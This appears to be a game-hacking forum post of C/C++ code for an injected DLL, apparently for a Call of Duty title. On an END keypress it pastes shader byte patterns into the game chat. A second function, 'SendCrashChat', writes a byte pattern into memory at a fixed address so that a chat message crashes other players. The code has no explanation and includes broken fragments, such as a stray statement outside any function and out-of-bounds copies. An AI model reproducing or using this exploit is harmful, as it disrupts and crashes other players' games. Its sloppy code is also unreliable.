char*lal = "say %X",Shader; SendCommantoConsole(lal);
#define CHAT_INPUT DIRECT_CHAT_INPUT //Direct input to chat (Must be static)
void ShowShaderInChat()
{
SimulateKeyPress(KEY_LOWERCASE_LETTER_T); //Open the chat
SleepThread(2000); //Kill the thread for 2 seconds. Allows chat to open.
char X[8], * ShowToChat = (char*)CHAT_INPUT; //Variable declaration, Gangsta style. :P
sprintf(X, (char*)"\x5E\x02\xFF\xFF\xFF\xFF\xFF\xFF"); //Change this byte pattern for whatever shader you use. This is NH9's Magic Pattern
for(int i=0; i<sizeof(X); i++)
*ShowToChat[i] = X[i]; //Sends the pattern to the chat
SleepThread(2000); //Kills the thread for 2 seconds to allow the shader to show.
SimulateKeyPress(KEY_RETURN); //Presses enter and sends it to the server.
}
void __cdecl Main()
{
for( ; ; Sleep(250)) //Forever loop and sleep for 250ms
if(*IsInGame != 0 && (GetAsyncKeyState(VK_END)&1))
ShowShaderInChat();
}
BOOL APIENTRY DllMain(HANDLE hDl, DWORD R, LPVOID lpv)
{
if(R == DLL_PROCESS_ATTACH) CreateThread(0, 0, &Main, 0, 0, 0);
return 1;
}
[COLOR="Silver"]void SendCrashChat()
{
BYTE* X = (BYTE*)"\x5E\x02\xFF\xFF\x0D\x5E\x02\xFF\xFF"; //0x0D Restarts the line. 0x0A Is the equivilent of "\n"
int Shader = R_RegisterShader("compassping_player");
if(GetAsyncKeyState(VK_F10)&0x1)
{
for(int i=0; i<11; i++)
*(BYTE*)(0x00B3A284 + i) = *(X+i);
}
}
BYTE* Shift = (BYTE*)"\x5E"; *(BYTE*)0x00B3A284 = Shift; *(int*)(0x00B3A284 + 1) = Shader;